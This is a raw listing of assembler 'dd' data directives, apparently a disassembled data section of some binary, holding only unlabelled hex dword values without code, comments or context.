		dd 604437C6h, 6D89C389h, 0B950A248h, 6C3EF24Dh,	0AF182236h
		dd 82E75897h, 23F19AE0h, 0B35CC1E5h, 34131032h,	89AFE420h
		dd 581234C0h, 9D8AA061h, 3A4279B8h, 1A181CC2h, 0AFC3E823h
		dd 0B3046050h, 4451D1A0h, 8FA0604h, 0A7B99580h,	0BB2DCAC3h
		dd 8FD78100h, 30237B70h, 0C4A7AF61h, 0AEA46D29h, 0B331E632h
		dd 3BCE882Ah, 8B96073h,	1A014BE4h, 30E4D7Ah, 76660153h
		dd 0D9D62F20h, 350B29EAh, 0B403020Fh, 63C5B289h, 280A1EC6h
		dd 4201680h, 0ADF46066h, 0A80CD1D6h, 56CB9598h,	43244659h
		dd 0C024822h, 38086456h, 0B8861B22h, 0B0101750h, 7D8056ABh
		dd 8D347334h, 369D80C2h, 0A3246A60h, 0CACAA67h,	40409718h
		dd 311983Bh, 5A779723h,	22948117h, 8CC03277h, 0ABF9181h
		dd 98818034h, 85A161h, 50108C7Dh, 80FEF53Ch, 772F9860h
		dd 2C48D021h, 82540806h, 0D01A14E9h, 1CABAB86h,	6FA796F6h
		dd 0F25BD939h, 42E03090h, 2E763883h, 61D15602h,	8E070C0Ah
		dd 0B38242C2h, 705826BCh, 70B44E5h, 838CB117h, 8E10011Bh
		dd 83215200h, 0F9023982h, 31964148h, 10F9368Eh,	0A270CCE0h
		dd 87D0F5FCh, 7D9A8402h
		dd 540E08F9h, 11B0A187h, 0C66E3770h, 63934015h,	174A2CD0h
		dd 2324E581h, 0A010331Fh, 709C16h, 0CAB6B4C3h, 101E773Ch
		dd 63256314h, 0B9860E1Ch, 3010BD99h, 16EF5C18h,	0D213F1F4h
		dd 3FC63A0h, 8D82C181h,	0B1D44900h, 65CC09CEh, 4402F360h
		dd 10180182h, 38EF9F4Ch, 9D63D828h, 9B6766D5h, 888B8C65h
		dd 8C9AAC4h, 68100318h,	0E080FA0Dh, 0D1001558h,	203243CEh
		dd 660C9B09h, 7ECE0226h, 557EA847h, 19819DE6h, 7F01FE20h
		dd 0D0081F18h, 61CE134Dh, 222C1722h, 62407EF0h,	8B83B388h
		dd 9FE0CB91h, 0ABA83305h, 87B11176h, 45CA000h, 53D4411Ch
		dd 3718EB5Fh, 3700971Bh, 110C084h, 0F6F173C0h, 0F31F21F9h
		dd 0C066BEF5h, 0F451DA36h, 41E6CE9h, 3B04C6DCh,	6C744CD4h
		dd 879C8957h, 0EB070447h, 3E82AF82h, 55B70021h,	3D2BC449h
		dd 0B0892C04h, 288F9F48h, 7329B030h, 85C270A7h,	2E3B2380h
		dd 21E45C04h, 1C6AF90h,	0CB6EF61h, 22EE041h, 0E84532E8h
		dd 0CCF759Ah, 1820E1FCh, 3E40FDC5h, 798F37D9h, 93AF8789h
		dd 2110107h, 0B8778CF4h, 0EDE2D35Bh, 0C0653022h, 36737976h
		dd 3C01D4A5h, 640C8C7Bh, 2F5B8084h, 2C288217h, 32380803h
		dd 80649926h, 75A55061h, 26A4C089h, 8DFD9303h, 11288780h
		dd 8C101090h, 0C2C49480h, 0C4A296B3h, 0C35FE1h,	0C7AC3746h
		dd 0C1AE6D0Ch, 0E009CC0h, 6B8843FEh, 0CC10EBh, 0C933A773h
		dd 0D4C008F9h, 13CDC19Ah, 0C84642DCh, 60C08102h, 92AC5DEEh
		dd 0C4B8839Dh, 50E8041Ch, 0C8B37BBEh, 0B306DB5h, 591A4196h
		dd 32E1129h, 0DC8AFF01h, 3181229Dh, 9008EB1Bh, 72FE0341h
		dd 819D96DCh, 0C7813D11h, 2618D89Ch, 66093C1h, 0A0C10A82h
		dd 1CC1A1D8h, 68A39505h, 26084169h, 0C089002h, 0BCD31C7Dh
		dd 0CB23387Ch, 1B2C3C3Bh, 0B9207683h, 1A4ECEC6h, 4AAB1016h
		dd 23637622h, 8CF402E0h, 77AE019h, 0C60AC5B9h, 0BE58A231h
		dd 0F2A71DA4h, 0FB01074h, 80C03062h, 98A02058h,	9E2A43D6h
		dd 0D4AEE253h, 0C2AE3105h, 8819C043h, 1E598030h, 0F129B888h
		dd 43EFB018h, 4FA33547h, 8390107h, 0C0453290h, 28CF5A4Ah
		dd 0F181E4D8h, 30D8AFD0h, 60840BC8h, 5B901093h,	0E5CC4D14h
		dd 2268041h, 0A503B482h, 6063DCA2h, 1BD98891h, 2A552A4Fh
		dd 3CC0C7A3h, 4601388Ah, 0CC03CC69h, 0FE609B8Ah, 9901030Dh
		dd 59522072h, 2116171Fh, 19B0298Dh, 6B0CA5A0h, 5EEC227Fh
		dd 0BFE5041Ch, 0E6A340Ch, 2299082Ch, 0C0899B0Ch, 42FD3E0h
		dd 63A4C1F4h, 8E30658Eh, 945B5539h, 10E1313Bh, 52162303h
		dd 83911564h, 2C8022C0h, 6D4A3958h, 26EF6461h, 2CC12BE3h
		dd 0D4C25606h, 838C8E9h, 0B4635D8Ch, 711A514Eh,	0FCC50EADh
		dd 5399498Fh, 0C0886023h, 2FD88066h, 1129AF43h,	226D0CD8h
		dd 1B04B840h, 94BC2A01h, 8C652E5Fh, 73489D16h, 9C405D05h
		dd 15652F05h, 0C0C8212Bh, 9F8C2DECh, 0D18308D5h, 767967A7h
		dd 0C0002A5h, 0C82188CCh, 60218F8Ch, 102B8C5h, 0CBEC644Bh
		dd 0B1978ED1h, 33BDC0C1h, 2AF5433Fh, 88996663h,	0F3B1FD00h
		dd 0C6A253Eh, 226C22Eh,	8A398EC6h, 6F99085Ch, 0E7CB2020h
		dd 5CA4C454h, 11811105h, 35242303h, 71AA0721h, 3C00B010h
		dd 0C4074A6h, 28C660ADh, 12342059h, 78547B8Dh, 10751246h
		dd 46E67430h, 5E0F291h,	3EC5F54Ch, 861C20EDh, 503940C9h
		dd 20E30657h, 8F910111h, 41B632BEh, 0A9898110h,	9881438Ch
		dd 40226325h, 54043DA2h, 50087DE5h, 0B1934A27h,	301E1CE2h
		dd 4265DEACh, 65B1F463h, 1DAE0C4Ch, 910C5C04h, 5552905h
		dd 0A019063Eh, 56F054B1h, 0F1B9B0A0h, 83B33010h, 2E10480h
		dd 5802D987h, 18CAB198h, 0E8704350h, 0EC68918Ch, 0A5F1DACAh
		dd 43C2810Fh, 0D16598C0h, 4C30C103h, 8179EC04h,	5CCC1413h
		dd 4E0F204h, 0F3003005h, 90D211B2h, 98688791h, 0A240E353h
		dd 430170B8h, 2E362253h, 82201B06h, 7E1B040Bh, 70453479h
		dd 0E593A18Bh, 0B718BE53h, 0EE660089h, 9AABA4ECh, 227CA04h
		dd 630597A4h, 8A01BBE7h, 0B0425C8h, 0C65073Fh, 4CC007A7h
		dd 7A12DF00h, 0D956C074h, 0D42DDEh, 103C0213h, 5636046Ch
		dd 4240BC3Ah, 5C4162BFh, 998123E8h, 0F2B20B17h,	0BB328029h
		dd 0C7C39195h, 0CB9BD148h, 37135F30h, 0D726602h, 11309806h
		dd 0E0C03A18h, 0C62A407Bh, 5B8044D8h, 0C612DC0Eh, 0D8112B78h
		dd 2DE65D86h, 0E60472A7h, 78044020h, 0CBA93780h, 20513E69h
		dd 43C88040h, 8BE51680h, 89D4C28Bh, 4A6A8113h, 0EC9F0212h
		dd 55C2228Ah, 895D0109h, 1606F8C0h, 4B701h, 15A85C42h
		dd 28806C10h, 13DC9011h, 10388E81h, 43A10402h, 6BAD2A04h
		dd 89EEF008h, 0B4A11400h, 811381D0h, 0E6E280CDh, 0BB090425h
		dd 7CF73031h, 26AB2771h, 22C03020h, 41D2F668h, 94A8C460h
		dd 9867C1CBh, 90A3C1A9h, 0D40639A1h, 0BF2233E0h, 0E5D60200h
		dd 0E1DEB8DCh, 8F99DDEh, 0D05EC0C0h, 95208935h,	3D08A431h
		dd 66C9804h, 0B161CF11h, 829732DAh, 39944BCh, 0B1D97296h
		dd 0C0C9D5EBh, 1567D3C6h, 1F7A496Ah, 54757301h,	11373D5h
		dd 20214CD2h, 0EF78BE75h, 55DCE7E9h, 9891B987h,	0A330E6C7h
		dd 547723Eh, 10F10225h,	4020BF70h, 0A280B979h, 0A907E251h
		dd 3DC045C6h, 836F0084h, 460180C7h, 250019E2h, 0FC040AE4h
		dd 0AE468946h, 4D7D3CECh, 513C701Fh, 13C46020h,	6487601h
		dd 8084C602h, 0DAF00D07h, 61CBAF0h, 0C02260A0h,	0C8C04B25h
		dd 0E8CC6085h, 0D42C81D0h, 44A10C46h, 252A0660h, 60442058h
		dd 565A8C86h, 92F3452Fh, 0E8ACA3A2h, 1E825F2h, 15D045EFh
		dd 7CD5044Eh, 301808BAh, 0E1DADC6Dh, 7F409A60h,	0C99953ACh
		dd 8D7280B8h, 94297369h, 0F08250C8h, 810B760Bh,	4FA29819h
		dd 1F78FB77h, 44EB6C14h, 85FA680h, 117C068h, 29D27372h
		dd 2CB832D9h, 0B2C259CCh, 0F9EDD818h, 6B3D31C6h, 5023E608h
		dd 65550F4Eh, 0E9606100h, 238A6B04h, 59E6E60Ah,	43D889C8h
		dd 2170940h, 0B309A5AEh, 481275A1h, 1FA30E15h, 0BC12826h
		dd 20830C04h, 0B0FE8602h, 72C6CF0h, 18990225h, 990C044Ch
		dd 845DF18Ah, 11470212h, 123C3A8Eh, 0CBAA9819h,	0DCA6C081h
		dd 1DAE0103h, 0C4D320Bh, 332555F0h, 20101A19h, 0F13ADC06h
		dd 215670FCh, 9E9F6600h, 0C08F14A1h, 9833A246h,	7402CD97h
		dd 7C1C8AD2h, 0E4A402CCh, 0F4361842h, 83C9B30Ch, 1097700h
		dd 3010E4EAh, 1F7B8676h, 1DA8F182h, 2B6DB225h, 21569C04h
		dd 88810F80h, 0F2FACC05h, 0BAC1891h, 2AB43473h,	917B0C63h
		dd 2ECBF10Eh, 393BD4DCh, 22E60518h, 3B301EE0h, 82FE6F43h
		dd 53B3183h, 218C5350h,	0BD7BCBBCh, 0A1B2B810h,	8BEF408Fh
		dd 6620A01h, 31672C6h, 454FDE06h, 173F7661h, 894E3A01h
		dd 0F0BBAA88h, 0BDE740D2h, 1192639h, 0A05C4BB5h, 0C9F0BC31h
		dd 0C17A0C0Ah, 83F4C985h, 8FE8010Bh, 64D80225h,	0F376047Ch
		dd 924DD817h, 0A4AB261h, 0CA4F2046h, 23226510h,	0BB774A0h
		dd 80838CC2h, 0E2809459h, 634AAD63h, 672B6071h,	0EB240117h
		dd 57366A38h, 0B8AD3808h, 0EFF87010h, 0B3EE0A91h, 8CC07C36h
		dd 38E90E47h, 573D1178h, 5BDF8084h, 8088C08Dh, 20100899h
		dd 0A4405688h, 3D3371BDh, 9B485C5Eh, 984652A5h,	0F4B7040Bh
		dd 773932EEh, 189D1818h, 30C3A098h, 1C0D8B76h, 5144B71Bh
		dd 0D0648E5Fh, 76EA99ECh
		dd 77910227h, 867A8126h, 33E3521Ch, 708ADC8Ch, 0C2BE3C51h
		dd 108A618Eh, 0A67C845Fh, 197039Ah, 0A274736Bh,	35E577CAh
		dd 8E305276h, 71A09F13h, 9DB030EDh, 0BA35865Eh,	608110F5h
		dd 8B8FE023h, 150CC8C0h, 9A74B151h, 6E5607C2h, 40CF020Fh
		dd 70B1D04h, 278CB181h,	47110405h, 0E393042Eh, 9626FD10h
		dd 0F4CD8A1h, 45514655h, 4978042Bh, 9C184234h, 3797FD3Ch
		dd 61C3802Ch, 0C3E43C98h, 237C5DBh, 0A253C0C6h,	458C8DA3h
		dd 0D80800C8h, 9804AA4Dh, 0A1601715h, 2A540E97h, 7CD77804h
		dd 30721008h, 8B895B78h, 0BAC53AC0h, 26E561DCh,	488E7602h
		dd 0F0F45E0Ch, 0D0213092h, 3070F51Ah, 0F9605225h, 8C02E1F6h
		dd 472A40DCh, 3050588h,	88BD9146h, 0C6CC5D0Dh, 54812CE5h
		dd 432D1C4h, 5B08BD8h, 0CA14B741h, 70E5C947h, 9FFA0820h
		dd 0A010B10Ch, 69AA547Ah, 146137DCh, 22790119h,	32A62359h
		dd 98C0B040h, 6D6F0459h, 1D161E6h, 28C00404h, 0D8E8CEADh
		dd 6003239h, 0A1007C66h, 0F70146A2h, 224C8550h,	4E30130Bh
		dd 4C745494h, 10BD1094h, 20E71F30h, 0F34E8240h,	67DAF5ECh
		dd 61F50837h, 19F30118h, 1690BB37h, 96387A3Fh, 75D30879h
		dd 42A94040h, 8113A080h, 3D6C7A09h, 19C80C03h, 0D86308B9h
		dd 0C3667B39h, 85D1ABA9h, 53A00633h, 0C083818Ch, 0E519BA2Ch
		dd 8C0CAF97h, 2253CAC2h, 0C1809B0h, 8129F0CCh, 9C641070h
		dd 86029504h, 229ABA90h, 3789173Fh, 18084603h, 35A9C303h
		dd 4A61FC8Ch, 278C0085h, 566CF204h, 89A93080h, 11A98540h
		dd 8F4357C8h, 2120A45h,	8C3FDF34h, 11CA4643h, 0E0E33CD4h
		dd 47EA74EEh, 9BBA020Eh, 60FBB01h, 0C9651646h, 0B2811E18h
		dd 232E3640h, 87B0309h,	50C13E18h, 0EDD3C40Dh, 0B4F18043h
		dd 3730DC8Ch, 0E20A0CAEh, 0C1E0856h, 10F50238h,	8CAB3EA0h
		dd 8BAADC6h, 0B0110CD8h, 0B4A3572Ch, 6320757Ah,	8DDC80C5h
		dd 0A3045D81h, 3246C200h, 30A20E36h, 8C0458A1h,	3B177569h
		dd 1196C10h, 2D747045h,	6F0642E9h, 0F7E16021h, 500A05C2h
		dd 4BBC0085h, 0A9CF8042h, 195410DBh, 32EAF5Dh, 0F39B8E73h
		dd 0CB01853Ch, 4F572141h, 65651114h, 4E32810Ch,	6C042619h
		dd 50CB6595h, 73774E2Eh, 0C5EBD08Ch, 6E908047h,	5D83CE91h
		dd 0B7F38332h, 0AF0A1177h, 98211103h, 52585808h, 0E3683062h
		dd 210FC040h, 7568E302h, 0ACEA021Eh, 18064A3Eh,	46C89F07h
		dd 81C05C60h, 0CB7C01F3h, 0A6B36414h, 0CC0838CBh, 0D15F16EFh
		dd 0F871D26h, 1E145606h, 498B8602h, 44A9CF03h, 89F11919h
		dd 40FCD6C0h, 1179A80h,	0B25DDA8Eh, 8793170Ah, 0C39C80C9h
		dd 6023AA79h, 0A4E44C0Ch, 28F8E663h, 0D3411197h, 42A042Fh
		dd 1592431Ch, 0E3A1A549h, 7F76C3CFh, 714E8581h,	229C9A63h
		dd 9FC4D28Dh, 233CA40Fh, 0E5DF021Eh, 6EC32085h,	0E75F210h
		dd 41C6602h, 0C48E2888h, 403DE8Fh, 0CFEA0326h, 859601E7h
		dd 0E9B1C58Bh, 4DF1863h, 10389804h, 203C21D0h, 80814C60h
		dd 64B9A1C5h, 51A0B59Ch, 0CA821A3h, 20F036A5h, 0D46590C0h
		dd 2AD575C7h, 65C44486h, 20E0E60h, 8804D294h, 5910B786h
		dd 0B6270AEEh, 83BE0856h, 28085AACh, 4C085811h,	9831E606h
		dd 0A8BB953h, 808972A7h, 1160E339h, 1B5AC54Bh, 6DE6301h
		dd 0B13D58CAh, 87C99CCh, 0FCF003B8h, 3541C976h,	791950Bh
		dd 8701C601h, 69C476Bh,	2C609302h, 8C066010h, 0D8119F1Bh
		dd 0DDDA067Bh, 6041126Ch, 0C397C0C4h, 0BB01C8C4h, 0C402E543h
		dd 81E0A8Ch, 0CFB1E26h,	6A66EC28h, 73103062h, 7E360113h
		dd 0AA0E08D5h, 4C307011h, 98311008h, 9359E054h,	1E097B4h
		dd 60C4E021h, 0A80A22E8h, 63B767C9h, 9D3A018Fh,	26C3430Eh
		dd 0A581C144h, 451803CBh, 809B09CAh, 0ABD729C0h, 7404501Bh
		dd 81C148h, 0E8C02C4Ch,	1708435Dh, 53E28982h, 0F9001198h
		dd 74688040h, 0F4AD6020h, 0CA013010h, 6E914295h, 7F01C618h
		dd 0B832C170h, 5D8602F6h, 5BB0846h, 0B4042804h,	795197CCh
		dd 0CB125C85h, 0D8F4840Ch, 9F85232Eh, 10B5020Eh, 0F2BD1C70h
		dd 7519A30Ch, 1804E81Ah, 23C65596h, 0D2F1249Ch,	0B5735DAFh
		dd 63C0C30Eh, 0F8298080h, 46B8FA5h, 2068066h, 56C89486h
		dd 0EB43445h, 0A9043193h, 0F37C118Ch, 1078C020h, 957A3720h
		dd 45C60439h, 0A3E80980h, 30166919h, 1071046Ch,	32A8BA30h
		dd 0C32F585h, 0E8766714h, 0B5CBA2BAh, 45FDFE61h, 88F56C04h
		dd 0A1399515h, 1EF0CE5Bh, 3DD1B315h, 281A10AAh,	0AE325E3Eh
		dd 0C9716714h, 13D28973h, 21CD01h, 0A2347981h, 9A737234h
		dd 0E3E3C088h, 86570620h, 673F5B56h, 0A49EBE51h, 0BCDC0CACh
		dd 838C5332h, 9DEA5981h, 1E26966Bh, 0D73770B3h,	0C4117684h
		dd 0BD8C9CA1h, 47C81F47h, 1D310660h, 383D202Ah,	1819D32Eh
		dd 110BCD8h, 76446D43h,	0AC7B2197h, 42AF32B5h, 26573880h
		dd 64CA32E2h, 60210C18h, 9848A990h, 0CE9531CAh,	0C06A134h
		dd 60207716h, 8AA02DD8h, 8C991155h, 0C1810F5h, 0AADD8EE3h
		dd 236C3B4Ch, 1CD08E03h, 0C3E508BCh, 6B1861D5h,	230CEEEBh
		dd 0E4FDEAE2h, 21EC9962h, 89E2C0C0h, 3261535h, 8499C1CEh
		dd 56D6041Ch, 0D300D486h, 0B9374AB0h, 1757C0C7h, 42394806h
		dd 31F73560h, 1202B340h, 9D215B6Eh, 0CB1E1663h,	7408A464h
		dd 30400020h, 6044A011h, 1D92ECF0h, 2AD3B195h, 56067804h
		dd 940288A9h, 914FC1h, 61850E25h, 8C086654h, 98317B5Ah
		dd 2B94BB91h, 20237271h, 0A82E8C03h, 6077651Ch,	0C1C69D73h
		dd 0C601021Ah, 7DEE0205h, 87BF204h, 9C0492C8h, 178A5D49h
		dd 5C6E2CE9h, 0EAAD1806h, 0D2016430h, 1A4868C5h, 8140CC0Ch
		dd 7B3E752Eh, 0C28008BAh, 0A6A5519Bh, 0FA9241DAh, 0FF5E0084h
		dd 174F98CAh, 0F3051189h, 62E9263h, 0C58CAEh, 0D2524604h
		dd 2F4CEA0h, 1807D01h, 0F83C6C73h, 0C5B76069h, 1C6D8E30h
		dd 2064A804h, 0AB096960h, 2AA3AC68h, 5061037Fh,	0D0D67D1Dh
		dd 8EB0021Ah, 3D00216h,	133A102Bh, 947108F9h, 496E3B53h
		dd 792B4657h, 78D41979h, 6020C64Ch, 0A501283Dh,	4612F370h
		dd 0B9AC0F91h, 0F0730042h, 0B163C34Ah, 57240083h, 2A0C7219h
		dd 810C9804h, 42081808h, 88F0C3F3h, 2498432Fh, 660110DFh
		dd 8160594Bh, 0A88102A2h, 48703036h, 3B48432Ah,	7B58294Ch
		dd 1500380Ch, 0D5A21032h, 0DE8C8787h, 0D3919865h, 8E2A3195h
		dd 0AD528C0Ch, 0E03283D9h, 0A152EDAFh, 47875732h, 38AE2AE5h
		dd 0E29664F0h, 1577CC48h, 61CCE03h, 6020BE1Ch, 1DE58D04h
		dd 5AD5768Ch, 4510808Dh, 90860113h, 61960899h, 970A5EFEh
		dd 7996C40Dh, 67260117h, 18BB080Eh, 6044A860h, 0CF04B180h
		dd 61BA086Ah, 93EF32ECh, 0CAAD008Ch, 2FDBD510h,	2E1EECC3h
		dd 1DC8F602h, 88CFB463h, 0B837A2D8h, 0FA87FC2h,	2120A01h
		dd 2F50A494h, 55AABE7Fh, 65D300Ch, 6574B1F6h, 10ABA054h
		dd 5DB60060h, 4B91CE74h, 0B7019CC1h, 712A8110h,	5DBA08B2h
		dd 0C460C98Ch, 1461CC0h, 406044C3h, 6CD6D4B2h, 1F734008h
		dd 6F304022h, 23202F41h, 93D2176h, 875450B8h, 1077D8B0h
		dd 90C9AE30h, 72F83F50h, 0DAF076C0h, 571F48E6h,	75FA1029h
		dd 1F008218h, 98651F3Ch, 0B190859Ah, 0E3C07610h, 518C895Eh
		dd 760240F2h, 5918AA8Ch, 8D80030Bh, 5D50CBF7h, 0FB5889Bh
		dd 42508C1h, 20104DDCh
		dd 0E900D6BEh, 9A01F1B7h, 844481CEh, 1CAE1792h,	8EAC5F19h
		dd 772FE5C3h, 0CE602465h, 8CED98C0h, 0B6DD41C8h, 0D8BA6546h
		dd 71918F92h, 0E7E8F350h, 0F3573A52h, 8BE4C71Bh, 4D5EF08Ah
		dd 0FE807381h, 0B7014807h, 60289F2h, 2804128Dh,	0A3061796h
		dd 3B003C68h, 6ED207EBh, 7162C7D1h, 0A380CBE5h,	7CBD2BE5h
		dd 2C028F9Dh, 0E9D02011h, 3308085h, 0AE2ACB8Eh,	1CDA2226h
		dd 0DA461006h, 0FC029EAFh, 1C1C2ED1h, 1C5C154Dh, 0C4572AD6h
		dd 0C166845Dh, 9223CDE2h, 8D5E7556h, 0A68E0313h, 10B7472h
		dd 0D3E171A1h, 0C0321A05h, 3DC22DE0h, 9C0288Bh,	496E65F8h
		dd 5D91A7CEh, 2C085A15h, 7ABFD192h, 22C008A2h, 0C064F3A6h
		dd 888ACE60h, 71810AC0h, 0F402FC44h, 341082CBh,	0CDC6124Fh
		dd 7682AABFh, 3F945A44h, 53E0199Fh, 0BF25C32Ah,	0B839212Ch
		dd 556B18CAh, 7CAE62A6h, 77160B72h, 62040218h, 61A06203h
		dd 52783C6Bh, 0B08120ECh, 37A2864Ch, 46081732h,	18CBF8ACh
		dd 1840B09h, 3580F735h,	0F429CAB6h, 0C5EC809Ah,	16050BABh
		dd 631D7DC7h, 0AF7F9BB3h, 572A80BCh, 0AB033808h, 7AB1E717h
		dd 0E3C22ED5h, 2608C064h, 1C8C022Bh, 2E9E4C18h,	8973010h
		dd 2FD503C8h, 0C7014E63h, 940201F0h, 0F2B213C4h, 18301EB5h
		dd 5C698458h, 0F62A22E3h, 325E019h, 0C303868Ch,	2F05F10h
		dd 0AEAC1181h, 20F0918Ch, 68D83960h, 387D5591h,	73937836h
		dd 361A5889h, 80447B07h, 0CB96513Ah, 65A5C180h,	40C77426h
		dd 0A6041CBDh, 1D051C91h, 760444D3h, 0B0557011h, 0E0221F2Fh
		dd 0A30810Bh, 20697503h, 96087066h, 57E38281h, 0B3005D2Bh
		dd 0F8802BA0h, 0AE1E85F3h, 876341DAh, 21F9184h,	33CD8F94h
		dd 4C441C3h, 0C1D5DEC8h, 416C5C6h, 932ECCD4h, 0EAE5071h
		dd 8FBC945h, 0F4047A90h, 10CD561h, 95E82BF1h, 7929BCA4h
		dd 0F500C61Dh, 95318AA0h, 0E1908FDBh, 80668412h, 0F260794Fh
		dd 0A9D8C081h, 0E974C040h, 3006021h, 61244273h,	0A7CD23E3h
		dd 2AB8C48Bh, 33CE8587h, 68E0614Eh, 0ADBCC4A1h,	0C06040Ch
		dd 7B91DF17h, 5E74673Dh, 0BC036022h, 0C650A83h,	0ADF41539h
		dd 1F26B7C2h, 865D468Eh, 0C064DB68h, 140349FAh,	232EBA61h
		dd 10082E50h, 0E284BF57h, 15315D2Bh, 0DFA98C03h, 301C8EFh
		dd 4C03F7ECh, 83B9B96h,	0E869328Ch, 0C80C410Dh,	0B010E1DEh
		dd 0BF417E53h, 0F5F377FBh, 0F30CE021h, 41182AF1h, 9A60BBE0h
		dd 43CB1072h, 0CE60A465h, 0F2C03AC0h, 39AAA1E1h, 4918BCDh
		dd 63EF8C04h, 81074662h, 0B0519C49h, 3EE41008h,	31F31810h
		dd 0C0443140h, 0DC2C549Dh, 30F0201Eh, 28801489h, 6EB27F7Ah
		dd 620460Ch, 7AFA1D46h,	60321178h, 93AC2CF4h, 0A445DA3h
		dd 0CA72B0E6h, 0B5159A60h, 1804C55Ah, 7F505FAEh, 2B1A1D8Ah
		dd 57300849h, 533AE32Fh, 31710878h, 72B2D881h, 0BBA3989h
		dd 0C9F51B9h, 74EB0638h, 9B39059Ch, 0A0E1C10h, 326389Fh
		dd 9456DCC6h, 99A2C63h,	30032E9h, 9FC5D0A3h, 0F2E02174h
		dd 62800084h, 76FAF8E7h, 0FAABB144h, 215C7018h,	81A63A0h
		dd 18415ACCh, 95C61F01h, 0B34774ABh, 46030207h,	58A72BDCh
		dd 0B450375Bh, 1008CBADh, 0C33B8B05h, 222D749h,	51C697AEh
		dd 58104EB7h, 27380E47h, 22ED70FAh, 60199240h, 0A0235E76h
		dd 10F2E79h, 0AEC264C2h, 2AA48E9h, 3AC73402h, 80D9E68Ah
		dd 40C1C160h, 1371460h,	0D3200183h, 3A4624A8h, 6195B7AFh
		dd 11754ECh, 8CC2E546h,	7157AB8h, 9D87CA8Ah, 0A182DC1Eh
		dd 58B808Fh, 0A84C1145h, 0CB541A5Dh, 0DEE042Bh,	6650211h
		dd 102362C4h, 4DF2D166h, 6F580405h, 0B300010Bh,	4D62CAF3h
		dd 0CC328791h, 0F4028ACCh, 1CE38298h, 288627CFh, 538C1470h
		dd 6574CB6h, 4BD1BA8Eh,	730FA673h, 2120DC8Ah, 0BF4D0783h
		dd 3712F22Ch, 15AF6668h, 4C08E89Bh, 6A191C06h, 445695CDh
		dd 808532C2h, 41D2244h,	3A58B018h, 90BAA53Bh, 0CC01882h
		dd 9C9C2E38h, 1300895Eh, 773ABB7h, 305CD81h, 76018A4Eh
		dd 7BB9D3B9h, 0C15410F2h, 60210465h, 101BE67h, 0CA016DCBh
		dd 9432E765h, 0C3280A8Ch, 0B020A950h, 11F7B77h,	87E5678Bh
		dd 0C45D4A31h, 44EBCCB1h, 58210EFCh, 53CD3914h,	7728042h
		dd 20E3982h, 4D65D394h,	9EBCD608h, 888C66Eh, 0FBAEBE6Ch
		dd 6BB1A377h, 84930D22h, 8E567300h, 20E270Fh, 50110633h
		dd 25A0E794h, 0D6639804h, 8FB58C65h, 464CC500h,	9EEC7689h
		dd 86DDB573h, 7C69DE0h,	0E3618C02h, 330833Eh, 54EB1DCCh
		dd 114640E7h, 0CF56CEF3h, 12940A0Ah, 72C72EACh,	42B628Fh
		dd 1DEC3808h, 170AF095h, 7630BE01h, 1F1660A4h, 0C6022051h
		dd 984D22C0h, 619C374Dh, 0E02CB098h, 0EFA607AAh, 90EB020Eh
		dd 9919080Fh, 15619008h, 0B62C8654h, 39839555h,	8460EF53h
		dd 78EC82E8h, 0EAC920E1h, 130C8043h, 48215402h,	26011096h
		dd 5117954Fh, 64D0AFCh,	0BA831EE8h, 0C96614C7h,	0C6F17F50h
		dd 4619272h, 0C299E998h, 1E554664h, 1071402h, 99566747h
		dd 10F4906Bh, 34181660h, 0CC089A75h, 9C9A063Ch,	3E04B953h
		dd 0EEEBA011h, 37C9E014h, 0B8FF306h, 10096301h,	44084402h
		dd 4E96F360h, 10724C6Ch, 80819530h, 0DDCE3249h,	5A1E9E83h
		dd 4DA90316h, 3A6A1A4h,	0C9EB9804h, 0BD3F63E9h,	0A2D30102h
		dd 0E93E0345h, 0D501A05Ch, 40F0E6Fh, 0F4486E34h, 3267C19h
		dd 69577303h, 0CFB947C8h, 339EBE68h, 0F40448C2h, 66A57F6Ch
		dd 80C73D0Fh, 6B44F3E4h, 23F6DA3Ch, 257A67Fh, 1026EE4h
		dd 0EC02ED1Eh, 48EB170h, 11C637DEh, 74EEAF27h, 1ECE20EAh
		dd 1F487606h, 5003B211h, 40010730h, 0E0A117D1h,	40E3079Ah
		dd 810C15FEh, 94EB0707h, 0E604EC96h, 0AB6CEC9h,	85FB3638h
		dd 0B022A700h, 735CDE79h, 0FB7D042Eh, 359FA0C6h, 0DDABD403h
		dd 727C3145h, 97845011h, 7495A73Eh, 50B36063h, 9FC8023Eh
		dd 7C36E35Dh, 895DA19h,	63D1F2Ch, 0A8BAB18Ch, 7D368B9Ch
		dd 0C15BD3CCh, 0D5001CC0h, 3EE14C4h, 4663B8BEh,	10644280h
		dd 0B47395B8h, 53E20542h, 0D2B78C9Dh, 0C070C043h, 91466632h
		dd 0C80408CAh, 100A5790h, 808C5CACh, 0DF433928h, 7D2210F9h
		dd 41761213h, 112898C5h, 20E2E3A0h, 0D881B140h,	0EBC0277h
		dd 8447CC1Ch, 0BA75F80h, 25F03AC6h, 3090C974h, 6CAE18F2h
		dd 0ACC3EBBh, 0CCAD3606h, 1C0504Ch, 4ED03D9Bh, 0BD1E6604h
		dd 3DB0C62Eh, 0C2EDC7D6h, 0CC0C10B3h, 0FE6E71C0h, 983838Dh
		dd 84CE3CC1h, 30213E9h,	69067549h, 58199ABAh, 0C22C00C4h
		dd 12288451h, 88311246h, 9263C208h, 7B589174h, 0B318CDF1h
		dd 581C7BBDh, 0A4BC1E84h, 9898E2ADh, 45DDB8DFh,	0C0E4B80Dh
		dd 3ED533E8h, 74D46082h, 0BD9644B0h, 0C2082804h, 42E664ADh
		dd 1FA20855h, 587B3783h, 0F2249041h, 23B2F759h,	3A48619Ah
		dd 11D65395h, 0F262EA51h, 0C0838473h, 0D268697Ch, 2D13AD31h
		dd 948B9C4Ah, 0D82134FBh, 507BDC08h, 0AE8911F0h, 0D74576FCh
		dd 0C088AAC5h, 407784C0h, 0C0B030B0h, 0C0B80428h, 64871CB8h
		dd 58720895h, 0FA450110h, 74C5117Fh, 458FA9h, 0AB815EAAh
		dd 0B091F29Ch, 22AFB65Fh, 0F312966Dh, 0D4DB6400h, 255C95CBh
		dd 0BCD08417h, 8CF3258Ah, 21899534h, 9C60051Dh,	3E81C882h
		dd 45C60B9Fh, 0CD1C7EC4h, 81A780Bh, 0A5D84023h,	8168D56Dh
		dd 299CC0C1h, 0FA744581h
		dd 13B3B46Ch, 8B1E3237h, 0CF03E11Ch, 0C3BA6A3Ah, 30A9CBA6h
		dd 55C5D4AEh, 8DA912B7h, 0C0000ABh, 0AE585726h,	730035E4h
		dd 2ADF8CC8h, 134DA005h, 0B3516601h, 28D2595h, 83C70C65h
		dd 90D22037h, 10BAE4BEh, 7C670D88h, 6A866183h, 61924AA4h
